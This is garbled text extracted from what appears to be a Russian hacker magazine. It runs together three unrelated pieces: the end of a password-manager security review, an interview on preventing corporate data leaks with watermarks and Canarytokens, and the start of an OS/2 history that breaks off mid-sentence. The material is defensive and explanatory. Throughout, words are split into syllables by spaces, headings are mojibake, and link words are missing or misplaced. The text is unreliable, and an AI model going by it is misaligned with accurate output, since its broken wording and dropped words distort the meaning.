спо соб соеди нить их с веб-стра ницей — это уста новить рас ширение в бра- 
узе ре. Рас ширение име ет дос туп ко всем стра ницам бра узе ра и авто мати- 
чес ки заг ружа ет в них , что бы
на фор ме логина отри совы вались кра сивые знач ки и всплы вающие окна
выбора учет ных дан ных.

встра иваемый скрипт (aka скрипт кон тента)

Хо тя встра иваемый скрипт и работа ет в изо лиро ван ной сре де, это все го
лишь кон цепция, а за ее соб людени ем дол жен сле дить раз работ чик.
В 2017 году ока залось, что веб-ресурс может сво бод но менять перемен ные
во встра иваемых скрип тах рас ширения LastPass (  и ). Для отри сов ки
эле мен тов встра иваемый скрипт чаще все го исполь зует те же самые при- 
виле гиро ван ные фрей мы, которы ми мож но манипу лиро вать, как это про- 
изош ло у  или у . Наконец, мож но
баналь но под менить встра иваемый скрипт с пос леду ющим пря мым зап росом
дан ных у менед жера паролей. Нап ример, так было у TrendMicro в 2016 году
(инци дент опи сан  и ).

раз два

Keeper в 2017 году LastPass в 2019 году

здесь здесь

Ком понен ты рас ширения Bitwarden

Ес ли ты дума ешь, что проб лемам с авто запол нени ем под верже ны толь ко
веб-стра ницы и рас ширения, то спе шу тебя огор чить: на мобиль ных устрой- 
ствах могут исполь зовать ся  или угро за может исхо дить
из некор рек тно го исполь зования WebView API, которое вылилось в уяз- 
вимость AutoSpill на Android-устрой ствах. В обо их этих инци ден тах были
замече ны LastPass, Keeper, 1Password, RoboForm и Enpass.

при ложе ния-кло ны

Как мы видим, от фишин га нас защища ют все менед жеры паролей, ата кам
Clickjacking и кра же дан ных рек ламщи ками под верже ны, к сожале нию, так же
все, а у рас ширений есть и свои проб лемы. Что бы защитить ся, отклю чи авто- 
запол нение при заг рузке стра ницы, что бы дан ные под став лялись толь ко пос- 
ле тво его явно го раз решения, а так же вов ремя уста нав ливай обновле ния.
Но не сто ит отка зывать ся от этой фун кции пол ностью, зло умыш ленни ку будет
нам ного труд нее обма нуть сра зу и тебя, и менед жер паролей.

ÍÅÎÏÐÅÄÅËÅÍÍÎÑÒÜ ÎÁÌÅÍÀ ÄÀÍÍÛÌÈ

С ХПБ все неоп ределен но: вряд ли мы ког да-нибудь узна ем, где они хра нят
дан ные, кро ме, разуме ется, локаль ной копии. Воп рос неоп ределен ности
острее все го сто ит у ОМП. Все рас смот ренные ОМП на сво их сай тах заяв- 
ляют о том, что исполь зуют шиф рование AES-256 с PBKDF2 SHA-
256/512 для получе ния клю ча шиф рования, хра нят дан ные по прин ципу
нулево го раз гла шения и поч ти все исполь зуют сквоз ное шиф рование. Зву чит
это все очень тех нологич но и безопас но, но как же все-таки дела обсто ят
в реаль нос ти?

В теории ты уста нав лива ешь прог рамму на устрой стве, вво дишь мас- 
тер-пароль и соз даешь хра нили ще, которое пред став ляет собой локаль ный
файл, зашиф рован ный как раз тем самым алго рит мом AES-256. Ключ шиф- 
рования получа ется как про изводное от мас тер-пароля по алго рит му PBKDF2
HMAC SHA-256/512 (тот же самый Keeper исполь зует мил лион раун дов,
у RoboForm их все го 100 тысяч, а некото рые, нап ример Bitwarden, дают воз- 
можность изме нить количес тво раун дов в нас трой ках). Пока все понят но, все
эти про цес сы про ходят локаль но.

Даль ше все ОМП мож но раз делить на три катего рии: те, что не хра нят
мас тер-пароль или его про изводные на сер вере ком пании-вен дора (Sticky
Password), те, что хра нят (Bitwarden, LastPass, RoboForm, Keeper), и те,
о которых в этом пла не ничего не извес тно (Zoho Vault, Kaspersky).

Де ло в том, что вен дор дол жен аутен тифици ровать поль зовате ля, то есть
понять, что зашиф рован ное хра нили ще при над лежит имен но тому, кто его
зап рашива ет. Нап ример, Kaspersky дела ет это через допол нитель ную аутен- 
тифика цию в эко сис темном акка унте (пом нишь тот шаг при регис тра ции,
который показал ся нам неудоб ным?). Bitwarden срав нива ет мас тер-пароль
с дву мя ите раци ями PBKDF2-SHA-256 и солью в виде email с резуль татом
на сер вере, а Sticky Password исполь зует допол нитель ный ключ, никак не свя- 
зан ный с мас тер-паролем.

Не кото рые пред лага ют вклю чить 2FA, что бы обе зопа сить дос туп к хра- 
нили щу даже при наличии про изводных от мас тер-клю ча на сер вере вен дора.
Одна ко здесь есть один малень кий, но очень важ ный нюанс. Все рас смот- 
ренные ОМП исполь зуют 2FA для аутен тифика ции, которую выпол няет вен дор
при син хро низа ции с обла ком и обме не дан ными с поль зовате лями, а шиф- 
рование хра нили ща здесь совер шенно ни при чем. Ключ 2FA вен дор хра нит
на сво ем сер вере, поэто му для про хож дения двух фактор ной аутен тифика ции
необ ходимо под клю чение к интерне ту. Уста новив 2FA, ты не дела ешь свое
хра нили ще безопас нее и не усложня ешь потен циаль ную задачу брут форса
для зло умыш ленни ка.

Воз можно, кто-то заметит, что мно гие вен доры пишут о наличии сквоз ного
шиф рования (E2EE). То есть дан ные шиф руют ся до конеч ного устрой ства
поль зовате ля, а зна чит, никакой опас ности нет. К сожале нию, в дан ном слу- 
чае это сквоз ное шиф рование Шре дин гера: вен дор может заяв лять, что име- 
ет сквоз ное шиф рование, но, пока исходный код про дук та не открыт, мы
не можем под твер дить или опро вер гнуть это утвер жде ние. Тем более что
в боль шинс тве слу чаев име ется в виду сквоз ное шиф рование от устрой ства
к сер веру вен дора для син хро низа ции хра нили ща, что по сути иден тично тра- 
дици онно му HTTPS-соеди нению и ничем от него не отли чает ся.

На самом деле есть и менее явная при чина, по которой сер вер вен дора
будет хра нить твой мас тер-пароль и не будет счи тать ся незави симой сто- 
роной в сквоз ном шиф ровании. Все ОМП пред лага ют сер вис веб-хра нили- 
ща: это ког да ты можешь получить дос туп к сво им дан ным через
веб-интерфейс на сай те вен дора. Упо мяну тая услу га идет в ком плек те, отме- 
нить ее нель зя, а зна чит, при соз дании хра нили ща веб-сер вер авто мати чес ки
ста новит ся одним из «тво их» устрой ств, и ему тре буют ся клю чи для дешиф- 
ровки дан ных, переда ваемых со сквоз ным шиф ровани ем. Плюс он дол жен
про водить опе рацию по пре обра зова нию тво его мас тер-пароля, который ты
ввел в веб-фор ме, в ключ дешиф ровки хра нили ща, что бы показать тебе
завет ные пароли. Ник то из рас смот ренных ОМП не говорит, что про исхо дит
с мас тер-паролем из веб-фор мы, так же как и не говорит о безопас ности
сво его веб-при ложе ния. Печаль но, что у мно гих вен доров в веб-вер сии дос- 
тупно боль ше нас тро ек, чем в при ложе нии, что зас тавля ет кли ента идти
на риск.

Так в безопас ности ли хра нящи еся на сер верах вен дора дан ные, как об
этом заяв ляют рек ламные заголов ки? Взло мы ОМП слу чались, боль ше все го
отли чил ся LastPass, ког да в 2011 и в 2015 годах хакеры смог ли  хеши
паролей и соли, а в 2022 году из LastPass  еще и бэкапы баз дан ных
поль зовате лей, а URL-адре са сай тов в хра нили щах вооб ще никак не шиф- 
ровались. В 2016 году были  хра нили ща Opera Sync, а в 2017-м

 OneLogin.

по лучить
утек ли

взло маны
сер веры

Ко неч но, что про изош ло даль ше с похищен ными бэкапа ми и сколь ко
из них уда лось рас шифро вать — тай на, пок рытая мра ком, но сто ит ли оно
тво их нер вов, ког да пос ле оче ред ного взло ма ты будешь приг лядывать ся
к каж дому пись му, избе гая фишин га и соци аль ной инже нерии? В пос леднее
вре мя сфор мировал ся тренд на локаль ную син хро низа цию, которая выпол- 
няет ся не через обла ко, а в домаш ней сети, ког да устрой ства находят ся
рядом. В этом слу чае ОМП (Sticky Password, Enpass) ста новит ся сер висом
син хро низа ции и интерфей са, играя роль ЛМП.

В иде але, конеч но, ОМП — это сер вис для хра нения и син хро низа ции
бэкапов зашиф рован ной базы дан ных тво их паролей. Но на прак тике все ока- 
зыва ется куда про заич нее. Вен дор дей стви тель но не видит ни тво его мас- 
тер-пароля, ни содер жимого хра нили ща, но ведь ник то не говорил, что он
не видит хеша тво его мас тер-пароля. Так же ник то не говорил, какие кон крет- 
но дан ные шиф руют ся при переда че на сер вер или отку да берет ся соль
для все го это го крип тогра фичес кого рая.

В целом прин цип нулево го раз гла шения и сквоз ное шиф рование работа- 
ют, но с некото рыми ого вор ками. И пусть тебя не сму щают гром кие тер мины,
куча крип тогра фичес ких фун кций и заум ные фра зы. Единс твен ное, что сто ит
меж ду тво ими нер вами и безопас ностью хра нили ща, — это твое доверие
вен дору. Ты либо веришь, что вен дор дей стви тель но дела ет все так,
как написал в рек ламе, что он не занима ется под поль ным сос тавле нием
радуж ных таб лиц или не смо жет выдать твои дан ные по пер вому зап росу,
либо, поль зуясь ОМП, ты никог да не будешь уве рен, что твои пароли не зна ет
ник то, кро ме тебя.

ÄÎÏÎËÍÈÒÅËÜÍÛÅ ÔÓÍÊÖÈÈ

Од но из глав ных пре иму ществ ОМП над ХПБ сос тоит в том, что пер вые дают
воз можность ана лизи ровать пароли. Сюда отно сит ся тра дици онный «ана лиз
пароля на слож ность», а так же став шая популяр ной «про вер ка по утеч кам».
С ана лизом слож ности паролей вро де бы все уже понят но. А как про исхо дит
про вер ка пароля на наличие в утеч ках?

Все рас смот ренные ОМП (кро ме Kaspersky) дела ют это, как ни стран но,
абсо лют но оди нако во, руководс тву ясь методом , раз работан- 
ным Cloudare. Твой локаль ный кли ент посыла ет пер вые пять сим волов хеша
SHA-1 каж дого пароля на haveibeenpwned.com, который воз вра щает все
пароли из уте чек, начина ющиеся с этих сим волов, а даль ше эта выбор ка уже
локаль но срав нива ется с тво им пол ным паролем. Толь ко Sticky Password
отправ ляет дан ные не на haveibeenpwned.com, а в , базу от ком пании
Crossword Cybersecurity, хотя сути это не меня ет. Сра зу хочет ся спро сить:
сколь ко памяти съеда ют эти манипу ляции и что имен но рас кры вает ся внеш- 
нему сер вису?

k-ано ним ности

ARC

Из всех ОМП толь ко Bitwarden име ет откры тый исходный код. Давай заг- 
лянем в . Зап рос отправ ляет ся с тво ей машины, ник то его не прок сиру ет,
то есть сто рон ний сер вер, кро ме час ти хеша, получа ет твой IP-адрес
и юзер-агент, а так же при некото рых зап росах домен и имя поль зовате ля. Вот
и весь ана лиз дар кве ба, о котором пишут ОМП на сво их сай тах. А Kaspersky
отправ ляет весь SHA-256-хеш непонят но куда (веро ятно, на свои сер веры)
и про изво дит срав нение там. При чем отклю чить эту фун кцию, похоже, нель зя,
поэто му давай сра зу счи тать, что у Kaspersky хра нят ся SHA-256-хеши всех
тво их паролей. Ну хоть без сто рон них сер висов, и то хорошо.

не го

Еще одна инте рес ная фун кция — это дос туп при экс трен ных обсто ятель- 
ствах. Ты наз нача ешь какого-либо поль зовате ля ОМП сво им экс трен ным кон- 
тактом, тот, в свою оче редь, дол жен при нять приг лашение, посылая тебе
свой пуб личный ключ, а на треть ем эта пе ты под твержда ешь, что все идет
по пла ну, шиф руя мас тер-пароль пуб личным клю чом экс трен ного кон такта.
В нуж ный момент твой экс трен ный кон такт зап рашива ет дос туп, и ему при- 
ходит твой мас тер-пароль, который он может рас шифро вать сво им при ват- 
ным клю чом. В целом задум ка инте рес ная и может слу жить неп лохим
решени ем на слу чай уте ри мас тер-пароля. При мер но по такому же прин ципу
про исхо дит и шеринг дан ных с дру гими поль зовате лями, так что и эта фун- 
кция в целом безопас на.

Са мая феерич ная фича — это вос ста нов ление дос тупа. Казалось бы,
как такое воз можно, если ник то вро де как ничего не хра нит на сво их сер- 
верах? Ука зан ная фун кция у Keeper пред полага ет запоми нание сек ретной
фра зы, шиф рующей мас тер-пароль, который затем отправ ляет ся на сер вер
вен дора. Но  не был бы LastPass’ом, если бы не стал еще и сох ранять
эту сек ретную фра зу на устрой стве поль зовате ля без уве дом ления кли ента
о подоб ном сер висе. Все дру гие ОМП фун кци ей вос ста нов ления дос тупа
не обла дают.

LastPass

ÂÛÂÎÄÛ

Пе тя про делал боль шой путь и понял глав ное — по сути, ОМП по срав нению
с ХПБ поз воля ют:

шиф ровать базу;•
хра нить что-то, кро ме учет ных дан ных;•
син хро низи ровать базу меж ду устрой ства ми;•
ана лизи ровать пароли.•

Для обе их этих катего рий прог рамм при сущи одни и те же типы угроз, но ата- 
ковать ОМП для зло умыш ленни ка куда слож нее, чем ХПБ. А если под тебя
про водит ся целевая ата ка, то будь уве рен, что дос туп к хра нили щу зло умыш- 
ленник точ но получит. В любом слу чае ХПБ — это нам ного луч ше, чем сти кер
на экра не, а ОМП — это еще луч ше, чем ХПБ. При этом не все ОМП рож дены
рав ными, поэто му, будешь ли ты исполь зовать ХПБ или ОМП и какой имен но
выберешь баланс меж ду удобс твом исполь зования и рис ками, зависит толь- 
ко от тебя.

Áðà óçåð íûå Îá ëà÷íûå

Бес плат ный + +–

Ра бота из короб ки + +–

Прос той интерфейс + +

Ав тозапол нение + +

Уяз вимос ти авто запол нения Есть Есть

Уяз вимость к вре донос ному ПО Есть Есть

Уяз вимость физичес кого дос тупа Есть –

Уяз вимость к фишин гу – –

Очис тка буфера обме на – +

Ав товыход/блок – +

Ка тего рии дан ных – +

Ана лиз паролей – +

Дос туп на всех устрой ствах – +

Шиф рование БД – +

Толь ко локаль ная БД Не извес тно +–

Толь ко локаль ное содер жание БД Не извес тно +–

Толь ко локаль ный мас тер-пароль N/A +–

Иде аль ного решения не сущес тву ет, но пос тара юсь соб рать все рекомен- 
дации воеди но.

При соз дании хра нили ща отклю чи фун кцию вос ста нов ления дос тупа.•
Не ставь фла жок «Сох ранить мой мас тер-пароль» при вхо де в хра нили ще,
ина че он будет сох ранен в памяти тво его устрой ства.

•

От клю чи фун кцию «Про вер ка пароля по утеч кам», так боль ше шан сов, что
ни целый хеш, ни его часть с тво ими метадан ными не уте кут за пре делы
инфраструк туры вен дора.

•

Не исполь зуй авто запол нение! Пусть менед жер паролей будет рекомен- 
довать, что и куда под ста вить, но финаль ное решение дол жно всег да
оста вать ся за тобой.

•

По воз можнос ти не исполь зуй веб-вер сию менед жера паролей,
это умень шит шан сы того, что твой мас тер-пароль оста нет ся на сер вере
вен дора.

•

Сузь область при мене ния авто реко мен даций, исклю чив под домены
веб-ресур са при под сказ ках. И по воз можнос ти огра ничь количес тво
пред ложений одним или дву мя.

•

Ес ли есть подоз рение, что ты зашел не в ту дверь, луч ше сра зу же сме ни
пароль и добавь 2FA к веб-ресур су.

•

На конец, вклю чай анти вирус и обновляй ПО вов ремя, это убе режет тебя
от баналь ных инфости леров и извес тных уяз вимос тей.

•

Пом ни, что менед жер паролей — это ком мерчес кий про дукт, который сде лан
людь ми. Исполь зуй толь ко тот, которо му искрен не доверя ешь, ина че спо кой- 
но спать ты точ но не смо жешь.

https://www.mozilla.org/en-US/security/advisories/mfsa2024-15/#CVE-2024-29943
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40539
https://seclists.org/fulldisclosure/2018/May/41
https://keepass.info/help/kb/sec_issues.html#keefarce
https://reports.exodus-privacy.eu.org/en/
https://labs.detectify.com/writeups/how-i-made-lastpass-give-me-all-your-passwords/
https://developer.mozilla.org/ru/docs/Mozilla/Add-ons/WebExtensions/Content_scripts
https://project-zero.issues.chromium.org/issues/42450246
https://project-zero.issues.chromium.org/issues/42450228
https://project-zero.issues.chromium.org/issues/42450529
https://project-zero.issues.chromium.org/issues/42451023
https://project-zero.issues.chromium.org/issues/42452214
https://project-zero.issues.chromium.org/issues/42452301
https://xakep.ru/2020/03/24/pass-managers/
https://arstechnica.com/information-technology/2015/06/hack-of-cloud-based-lastpass-exposes-encrypted-master-passwords/
https://blog.lastpass.com/posts/2022/12/notice-of-security-incident
https://blogs.opera.com/security/2016/08/opera-server-breach-incident/
https://www.csoonline.com/article/561913/onelogin-hack-exposed-sensitive-us-customer-data-and-ability-to-decrypt-data.html
https://blog.cloudflare.com/validating-leaked-passwords-with-k-anonymity/
https://www.crosswordcybersecurity.com/arc
https://github.com/bitwarden/jslib/blob/db37a831e438bf6411e6f10c10af29c70e8f23b3/src/services/audit.service.ts#L17-L30
https://support.lastpass.com/s/document-item?language=en_US&bundleId=lastpass&topicId=LastPass/account-recovery-process.html&_LANG=enus
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ПРИВАТНОСТЬ

Рас сле дова ние уте чек дан ных — дело хло- 
пот ное и дорогос тоящее. Вос ста нов ление
утра чен ного доверия, юри дичес кие раз- 
биратель ства и попыт ки миними зиро вать
убыт ки могут затянуть ся на месяцы. Гораз- 
до про ще и дешев ле пре дот вра тить инци- 
дент, чем устра нять его пос ледс твия.
В этом матери але мы раз берем прак тичес- 
кие шаги по пре дот вра щению уте чек дан- 
ных, начиная от тех ничес ких решений
и закан чивая метода ми управле ния рис- 
ками.

Как показы вает прак тика, ни одна орга низа ция, будь то круп ная кор порация
или неболь шая ком пания, не зас тра хова на от хищения пер сональ ной
информа ции, уте чек кли ент ских баз дан ных и иных подоб ных инци ден тов.
Мож но ли если не обе зопа сить себя от таких про исшес твий пол ностью, то
хотя бы сни зить сопутс тву ющие рис ки? Да, и для это го сущес тву ет про верен- 
ный вре менем ком плекс методов. О них мы сегод ня и погово рим.

INFO

Статья написа на по матери алам интервью
с Дмит рием Борощу ком. Беседо вал и готовил
финаль ный текст .Ва лен тин Хол могоров

 уже боль ше пят надца ти лет реша ет слож ные задачи в сфе- 
ре безопас ности, уде ляя осо бое вни мание защите информа ции. Одно
из клю чевых нап равле ний его работы — пре дот вра щение уте чек дан ных,
а так же рас сле дова ние инци ден тов и выяв ление винов ников: со всем
перечис ленным он регуляр но стал кива ется в сво ей прак тике. В 

 мы говори ли о том, что нуж но делать, если утеч ка уже про изош ла.
Сей час будем раз бирать ся с тем, как ее не допус тить.

Дмит рий Борощук

прош лом
матери але

ÑÎÁÑÒÂÅÍÍÎÅ ÎÁËÀÊÎ

Пер вой мыслью, ког да заходит речь о защите от сли вов внут ренних дан ных,
ста новит ся идея заг нать сот рудни ков в пол ностью кон тро лиру емую сре ду. Тут
глав ное — не перег нуть пал ку с зап ретами и сде лать эту сре ду мак сималь но
удоб ной и дос тупной. Давай поп робу ем опи сать боль шинс тво типич ных пот- 
ребнос тей сот рудни ков ком пании:

нуж но хра нить фай лы с раз гра ниче нием дос тупа, так, что бы к ним был дос- 
туп у самого сот рудни ка;

•

на до эти фай лы соз давать и сов мес тно редак тировать (в общем, нужен
ана лог Google Docs);

•

нуж но хра нить, редак тировать и прос матри вать фото;•
не обхо дим поч товый кли ент (куда же без него в ком мерчес кой ком пании);•
ну жен безопас ный мес сен джер;•
не обхо дим сер вис виде окон ферен ций;•
так же не обой тись без кален даря и заметок;•
тре бует ся воз можность добав лять недос тающие фун кции по мере необ- 
ходимос ти.

•

И глав ное — нуж но кон тро лиро вать все это, что бы понимать, кто ког да и что
имен но делал с ком мерчес кими дан ными. Сущес тву ет боль шое количес тво
готовых про дук тов, спо соб ных решить все эти задачи, но сто ят они, как пра- 
вило, мно го-мно го денег. Что делать ком мерчес кому пред при ятию с неболь- 
шим шта том и не таким бес край ним бюд жетом, как у круп ных ком паний?
Выручат два прак тичес ки оди нако вых (на самом деле у них одни кор ни, прос- 
то коман да в какой-то момент раз делилась на две и каж дая из них начала
пилить свой вари ант) откры тых и бес плат ных решения:  и 
(о вто ром, кста ти, «Хакер» ).

OwnCloud NextCloud
уже под робно писал

С помощью этих инс тру мен тов мож но орга низо вать так называ емый self-
hosted-сер вер, который ты можешь совер шенно бес плат но раз вернуть хоть
на NAS, хоть на вир туаль ной машине, хоть на отдель ном компь юте ре, соз дав
пер сональ ный ана лог Google Docs с дос тупом через обыч ный бра узер.
Но глав ной осо бен ностью будет то, что ты смо жешь кон тро лиро вать каж дое
дей ствие поль зовате лей в этой сре де, вплоть до того, кто и какие фай лы ска- 
чивал и на какое имен но устрой ство. Дмит рий Борощук счи тает это иде аль- 
ным вари антом орга низа ции коман дной работы для малого и сред него биз- 
неса, осо бен но по соот ношению цена/качес тво (все-таки нас трой ка и внед- 
рение сто ит опре делен ных денег).

ÊÀÊ ÎÒÑËÅÄÈÒÜ ÓÒÅ×ÊÈ?

Пе ренес ти всю кри тичес ки важ ную информа цию в локаль ную и хорошо кон- 
тро лиру емую инфраструк туру — это толь ко полови на дела. Вто рая полови- 
на — заранее пре дус мотреть спо собы отсле жива ния воз можных сли вов, что- 
бы при необ ходимос ти быс тро уста новить винов ных и лик видиро вать пос- 
ледс твия.

Ко неч но же, на ум сра зу при ходят ком мерчес кие deception-решения типа
Xello, R-TDP или раз работ ки от той же «АВ Софт». И это толь ко рос сий ские
про дук ты. Но мы будем ста рать ся решать задачи с миниму мом бюд жета
или пол ным его отсутс тви ем. Зна комая исто рия, ведь прав да?

Один из основных спо собов отсле жива ния уте чек — это мар кировать дан- 
ные. Тут вари антов может быть мас са: от орга низа ции кон тро лиру емых уте- 
чек, с помощью которых мож но опре делить, кто кон крет но из сот рудни ков
слил важ ную информа цию, до отсле жива ния фак та откры тия или редак- 
тирова ния фай ла с исполь зовани ем раз личных маяков или с при мене нием
допол нитель ной наг рузки, которая вела бы «конт рраз ведыва тель ную
деятель ность» уже на сто роне зло умыш ленни ка. Кон крет ное исполь зование
подоб ных инс тру мен тов огра ничи вает ся толь ко тво ей фан тази ей и опе ратив- 
ным опы том.

Дмит рий рас ска зал о трех методах из его собс твен ного арсе нала, которы- 
ми он чаще все го поль зует ся на прак тике.

Âîäÿíûå çíàêè
Фи зичес кие объ екты (цен ные бумаги, докумен ты и дру гие важ ные фай лы)
всег да мож но отмарки ровать, что бы сде лать их в сво ем роде уни каль ными
носите лями иден тифици руемых приз наков. То же самое мож но сде лать
с фай лами при помощи сте ганог рафии — методи ки помеще ния одной
информа ции в дру гую. Тут, конеч но же, при ходят на ум ста рые доб рые инс- 
тру мен ты  и , которые поз воля ют про водить все опе рации
с фай лами и их мар киров кой, при этом обла дают прос тым и лаконич ным
интерфей сом.

OpenStego OpenPuff

Ин терфейс OpenStego

Ин терфейс OpenPuff

Есть одно но — эти прог раммы регуляр но детек тиру ются анти виру сами, но ты
всег да можешь най ти аль тер нативу или све жий форк.

Ос новыва ясь на этом же методе, работа ет решение . На вход
этой прог рамме переда ется файл, который будет исполь зовать ся сов мес тно,
и спи сок получа телей. При ложе ние соз дает уни каль ную под пись для каж дого
получа теля и скры то добав ляет ее в файл. Пос ле это го Wholeaked авто мати- 
чес ки отправ ляет фай лы соот ветс тву ющим адре сатам с помощью интегра ции
SendGrid, AWS SES или SMTP. Ну или по ста рин ке фай лы мож но разос лать
вруч ную. Если какой-то файл все-таки утек в сеть, мет ка поможет най ти
винов ника и доказать его при час тность к инци ден ту.

Wholeaked

Ìàÿêè
Под маяка ми Дмит рий Борощук име ет в виду инс тру мен ты, соз данные
с целью выяв лять и отсле живать подоз ритель ную активность внут ри сети
и таким обра зом пре дот вра тить взлом или утеч ку дан ных. Подоб ные сис темы
поз воля ют соз давать раз личные токены-ловуш ки, которые исполь зуют ся
для монито рин га и обна руже ния несан кци они рован ных дей ствий. Эти токены,
раз мещен ные в докумен тах или дру гих объ ектах, сра баты вают, ког да зло- 
умыш ленник вза имо дей ству ет с ними, и сооб щают вла дель цу о наруше нии.

Тут пра вит бал зна мени тая « ». Canarytokens — это ловуш ки,
которые выг лядят как обыч ные фай лы, веб-стра ницы, API-клю чи, DNS-записи
и дру гие объ екты, но на самом деле игра ют роль детек торов активнос ти. Ког-
да зло умыш ленник пыта ется получить дос туп к этим объ ектам, сра баты вает
триг гер, отправ ляющий уве дом ление вла дель цу. Токен мож но внед рить
в важ ный документ, нап ример PDF-файл. Если кто-то ска чает или откро ет
такой файл, вла делец сра зу получит уве дом ление о попыт ке дос тупа.

ка нарей ка

Ра бота с Canarytokens выг лядит сле дующим обра зом:
1. Поль зователь соз дает токен на плат форме canarytokens.org.
2. То кен внед ряет ся в документ или файл.
3. При акти вации токена (нап ример, при откры тии фай ла) сис тема отправ- 

ляет вла дель цу уве дом ление по элек трон ной поч те или дру гим ука зан ным
каналам.

Бес плат ная аль тер натива «канарей ке» — про ект с откры тым исходным кодом
 дей ству ет схо жим обра зом. Основное отли чие зак люча ется

в том, что ПО OpenCanary нуж но пред варитель но интегри ровать с сер вером
пред при ятия — под держи вают ся Windows Server, MySQL Server, MS SQL
Server и сер веры под Linux. OpenCanary фик сиру ет все попыт ки вза имо дей- 
ствия с эти ми сер висами и пре дос тавля ет адми нис тра торам информа цию
о подоз ритель ной активнос ти.

OpenCanary

Шту ка это хорошая и удоб ная бла года ря уни вер саль нос ти — повесить
маяк мож но на очень раз ные дей ствия.

ÊÀÊ ÇÀÙÈÒÈÒÜÑß ÎÒ ÓÒÅ×ÊÈ ÐÀÇÃÎÂÎÐÀ Â ZOOM?

«Водяные зна ки», речь о которых шла выше, — прек расное средс тво про- 
филак тики уте чек. Но что делать, ког да ты находишь ся не в пол ностью кон тро- 
лиру емой сре де? Нап ример, раз говор в Zoom: этот сер вис сей час край не
популя рен в кор поратив ной сре де. Ведь всег да может слу чить ся так, что
кому-то из учас тни ков захочет ся поделить ся содер жани ем при ват ного раз- 
говора, ну или прос то слить не кон фиден циаль ный, а какой-нибудь плат ный
кон тент, типа кон суль тации или тре нин га.

На самом деле все очень прос то — сам сер вис подумал за тебя и внед рил
спе циаль ный спо соб мар киров ки того, что про исхо дит внут ри него:
1. Video Watermark — фун кция, которая добав ляет в изоб ражение на экра не

дан ные, нап ример элек трон ную поч ту или ник нейм учас тни ка, который эту
запись про изво дил.

2. Audio Watermark — фун кция, которая под мешива ет в зву ковую дорож ку
спе циаль ную ауди омет ку, по которой ты так же смо жешь отсле дить
источник сли ва.

Как это вклю чить? Очень прос то.
Ты дол жен быть адми нис тра тором встре чи либо вла дель цем учет ной
записи, которая ини циирует встре чу.

•

На тво ем акка унте Zoom дол жен быть вклю чен режим Only authenticated
users can join meetings, что бы все поль зовате ли мог ли быть иден тифици- 
рова ны. Вклю чает ся это в нас трой ках тво ей учет ной записи на самом 

 через навига цион ное меню (пун кты Account Management →
Account Settings → вклад ка Meetings → Security, на которой сле дует выб- 
рать пун кты Only authenticated panelists can join webinars или Only
authenticated meeting participants and webinar attendees can join meetings
and webinars («Под клю чить ся к кон ферен циям и вебина рам могут толь ко
учас тни ки, про шед шие аутен тифика цию»). Пос ле чего нуж но будет под- 
твер дить изме нения.

•

пор- 
тале Zoom

Вклю чение водяных зна ков:
На  вхо дим в учет ную запись.• пор тале Zoom
В меню навига ции Account Management → Account Settings → вклад ка
Meetings → выбира ем раз дел Schedule Meeting (в рус ской вер сии «Кон- 
ферен ции → Зап ланиро вать кон ферен цию»).

•

Вклю чаем пункт Add watermark («Добавить водяной знак»).•
Для добав ления водяно го зна ка в ауди одо рож ку вклю чаем рас положен- 
ный ниже перек лючатель «Добавить зву ковую мет ку».

•

Под твержда ем дей ствия и нажима ем на икон ку с зам ком, что бы поль- 
зовате ли не мог ли вык лючить эти фун кции.

•

Вклю чение водяно го зна ка в Zoom

Те перь у каж дого поль зовате ля на экра не и в записи на видео будет отоб- 
ражать ся его собс твен ный адрес элек трон ной поч ты, помещен ный в водяной
знак. Если эта виде оза пись впос ледс твии попадет в паб лик, ты без тру да
смо жешь опре делить источник утеч ки.

Что каса ется ауди омет ки, то для того, что бы иден тифици ровать поль- 
зовате ля, надо будет отпра вить в служ бу под дер жки Zoom зап рос, в котором
сле дует ука зать ID встре чи, дату и вре мя ее про веде ния, при ложив сам
аудио/виде офайл, который обна ружи ли в утеч ке.

ÂÛÂÎÄÛ

За щита информа ции тре бует ком плексно го под хода, и здесь, как говорит ся,
спа сение уто пающих — дело рук самих уто пающих. Каж дое из решений, будь
то раз верты вание собс твен ного обла ка, исполь зование водяных зна ков
или при мене ние маяков Canary, слу жит важ ным эле мен том в общей сис теме,
но толь ко их ком плекс даст мак сималь но воз можный эффект. Не сущес тву ет
еди ного уни вер саль ного решения, которое гаран тиру ет абсо лют ную защиту.
Одна ко ком бинация раз ных методов зна читель но повыша ет шан сы на то, что
твои фай лы однажды не ста нут дос тоянием общес твен ности. В ито ге успех
в пре дот вра щении уте чек зависит от того, нас коль ко гра мот но интегри рова-
ны тех ничес кие решения в инфраструк туру ком пании и нас коль ко дис ципли- 
ниро ван ны ее сот рудни ки в воп росах информа цион ной безопас ности.
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OS/2 — уни каль ная ОС, ока зав шая силь ное
вли яние на исто рию компь юте ров. Соз- 
данная в амби циоз ном союзе Microsoft
и IBM, она дол жна была заменить MS-DOS
и едва не ста ла новым стан дартом для ПК.
Но по иро нии судь бы имен но OS/2 под тол- 
кну ла Microsoft раз вивать Windows, став шую
самой популяр ной ОС в мире. OS/2 про- 
ложи ла путь для кон курен та и оста лась
в тени его успе ха. Исто рия этой сис темы
пол на интриг, тех ничес ких про рывов
и неожи дан ных поворо тов.

В вось мидеся тые годы нас тупила эпо ха пер соналок, а монс тру озные мей- 
нфрей мы ста ли понем ногу ухо дить в исто рию. Почувс тво вав эти переме ны,
в 1984 году кор порация IBM анон сирова ла новое поколе ние пер сональ ных
компь юте ров — IBM PC/AT, для которых нуж на была собс твен ная опе раци- 
онная сис тема. Так началось раз витие плат формы OS/2, которую наши
сооте чес твен ники лас ково называ ли «полу осью».

Лич но я впер вые услы шал об OS/2 на одной из фидош ных тусовок: кто-то
из дер жателей нод хвас тался, что на его машине софт кру тит ся под «очень
кру той» опе раци онкой, да еще и с наворо чен ным гра фичес ким интерфей сом.
Во вре мена, ког да боль шинс тво юзе ров нас лажда лось аске тиз мом MS-DOS,
слег ка раз бавлен ным «коман диром Нор тоном» или DOS Navigator’ом,
а машина, спо соб ная потянуть Windows 3.1, счи талась пред метом рос коши,
опи сание «полу оси» казалось чем-то из области фан тасти ки. О сущес тво-
вании  мы тог да даже не подоз ревали. Тем инте рес нее было
разуз нать, что же это за чудес ная «полу ось» уста нов лена на компь юте ре
нашего ува жаемо го кол леги и что она собой пред став ляет.

Windows NT

ÄÎ OS/2

Раз вернуть на сто восемь десят гра дусов огромную бюрок ратичес кую
машину, которой была кор порация IBM на рубеже 70-х и 80-х годов, — задача
